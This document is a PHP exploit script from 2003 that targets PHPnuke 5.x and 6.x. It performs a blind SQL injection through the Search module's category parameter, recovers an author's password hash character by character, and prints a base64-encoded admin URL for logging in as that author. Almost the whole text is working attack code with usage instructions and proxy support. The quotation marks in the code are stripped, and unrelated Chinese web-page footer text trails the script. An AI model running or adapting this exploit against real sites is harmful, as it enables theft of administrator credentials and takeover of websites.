#!/usr/bin/php -q
PHPnuke 6.x and 5.x fetch author hash by pokleyzz <pokleyzz at scan-associates.net>
<?php
/*
# PHPnuke 6.x and 5.x fetch author hash by pokleyzz <pokleyzz at scan-associates.net>
# 27th December 2003 : 4:54 a.m
#
# bug found by pokleyzz (11th December 2003 ) for HITB 2003 security conference
# (Shame on You!!)
#
# Requirement:
# PHP 4.x with curl extension;
#
# Greet:
# tynon, sk ,wanvadder, sir_flyguy, wxyz , tenukboncit, kerengga_kurus ,
# s0cket370 , b0iler and ...
#
# Happy new year 2004 ...
#
# ----------------------------------------------------------------------------
# TEH TARIK-WARE LICENSE (Revision 1):
# wrote this file. As long as you retain this notice you
# can do whatever you want with this stuff. If we meet some day, and you think
# this stuff is worth it, you can buy me a teh tarik in return.
# ----------------------------------------------------------------------------
# (Base on Poul-Henning Kamp Beerware)
#
# Tribute to Search - kejoraku bersatu.mp3
#
*/
if (!(function_exists(
curl_init
))) {
echo cURL extension required\n ;
exit;
}
ini_set( max_execution_time , 999999 );
$matches = No matches found to your query ;
//$url = http://127.0.0.1/src/phpnuke441a/html ;
$charmap = array (48,49,50,51,52,53,54,55,56,57,
97,98,99,100,101,102,
103,104,105,
106,107,108,109,110,111,112,113,
114,115,116,117,118,119,120,121,122
);
if($argv[1] && $argv[2]){
$url = $argv[1];
$author = $argv[2];
if ($argv[3])
$proxy = $argv[3];
}
else {
echo Usage: .$argv[0]. <URL> <aid> [proxy]\n\n ;
echo \tURL\t URL to phpnuke site (ex: http://127.0.0.1/html)\n ;
echo \taid\t author id to get (ex: god)\n ;
echo \tproxy\t optional proxy url (ex: http://10.10.10.10:8080)\n ;
exit;
}
$search = /modules.php?name=Search ;
echo Take your time for Teh Tarik... please wait ...\n\n ;
echo Result:\n ;
echo \t$author: ;
$admin = $author. : ;
$i =0;
$tmp = char( ;
while ($i < strlen($author)){
$tmp .= ord(substr($author,$i,1));
$i++;
if ($i < strlen($author)){
$tmp .= , ;
}
}
$tmp .= ) ;
$author=$tmp;
for($i= 1;$i< 33;$i++){
foreach ($charmap as $char){
echo chr($char);
$postvar = query=%25&category=99999+or+a.aid=$author+and+ascii(substring(a.pwd,$i,1))=$char ;
$ch = curl_init();
if ($proxy){
curl_setopt($ch, CURLOPT_PROXY,$proxy);
}
curl_setopt($ch, CURLOPT_URL,$url.$search);
curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $postvar);
$res=curl_exec ($ch);
curl_close ($ch);
if (!(ereg($matches,$res))){
//echo chr($char);
$admin .= chr($char);
break 1;
}
else {
echo chr(8);
}
if ($char ==103){
echo \n\n\tNot Vulnerable or Something wrong occur ...\n ;
exit;
}
}
}
$admin .= :: ;
echo \n\nAdmin URL:\n ;
echo \t$url/admin.php?admin= .ereg_replace( = , %3d ,base64_encode($admin));
echo \n ;
echo \n\nEnjoy your self and Happy New Year 2004.... ;
?>
共 1 兑换
京公网安备 11010502034610号
暂无评论